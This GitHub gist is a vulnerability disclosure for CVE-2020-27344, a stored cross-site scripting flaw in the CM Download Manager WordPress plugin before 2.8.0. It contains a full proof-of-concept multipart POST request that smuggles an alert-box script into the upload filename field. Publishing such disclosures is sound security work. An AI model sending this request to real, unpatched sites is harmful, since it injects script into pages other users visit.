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qwebee / [gist:da79c6a9fa982c3c40988a1e0598c0d9](https://gist.github.com/qwebee/da79c6a9fa982c3c40988a1e0598c0d9)

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<> Code Revisions 2

CVE-2020-27344

gistfile1.txt

```
1 CVE-2020-27344
2
3 The cm-download-manager plugin before 2.8.0 for WordPress allows XSS.
4
5 https://gist.github.com/qwebee/da79c6a9fa982c3c40988a1e0598c0d9
6
7 -----
8
9 Vulnerability Type: Cross Site Scripting (XSS).
10
11 Vendor of Product: CreativeMindsSolutions.
12
13 Affected Product Code Base: CM Download Manager - 2.7.0 - affected, fix is in 2.8.0.
14
15 Attack Type: Remote.
16
17 -----
18
19 Vulnerability is in the POST request.
20
21 Exploitation:
22
23 - Vulnerable page - 'cmdownload/add/'
24 - Vulnerable parameter - 'filename' in 'Content-Disposition' Header
25
26 ```
27 POST /cmdownload/add/ HTTP/1.1
28 Host: localhost:8081
29 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15; rv:78.0) Gecko/20100101 Firefox/78.0
30 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
31 Accept-Language: en-US,en;q=0.5
32 Accept-Encoding: gzip, deflate
33 Content-Type: multipart/form-data; boundary=-----297219106631036445401265881685
34 Content-Length: 1147
35 Origin: http://localhost:8081
36 Connection: close
37 Referer: http://localhost:8081/cmdownload/add/
38 Cookie: comment_author_8dec71ede39ad9ff3b3fbc03311bdc45=eee; comment_author_email_8dec71ede39ad9ff3b3fbc03311bdc45=eee%40mail.ru; wordpress
39 Upgrade-Insecure-Requests: 1
40
41 -----297219106631036445401265881685
42 Content-Disposition: form-data; name="CMDM_AddDownloadForm_title"
43
44 test name
45 -----297219106631036445401265881685
46 Content-Disposition: form-data; name="CMDM_AddDownloadForm_package"; filename="users.doc<img src=a onerror=alert('XSS')>"
47 Content-Type: application/msword
48
49 some test data
50
51 -----297219106631036445401265881685
52 Content-Disposition: form-data; name="CMDM_AddDownloadForm_categories[]"
53
54 17
55 -----297219106631036445401265881685
56 Content-Disposition: form-data; name="CMDM_AddDownloadForm_description"
57
58 222
59 -----297219106631036445401265881685
60 Content-Disposition: form-data; name="CMDM_AddDownloadForm_screenshots"
61
62 []
63 -----297219106631036445401265881685
64 Content-Disposition: form-data; name="CMDM_AddDownloadForm_screenshots-caches"
65
66 []
67 -----297219106631036445401265881685
68 Content-Disposition: form-data; name="CMDM_AddDownloadForm_submit"
69
70 Add
71 -----297219106631036445401265881685--
72 ```
```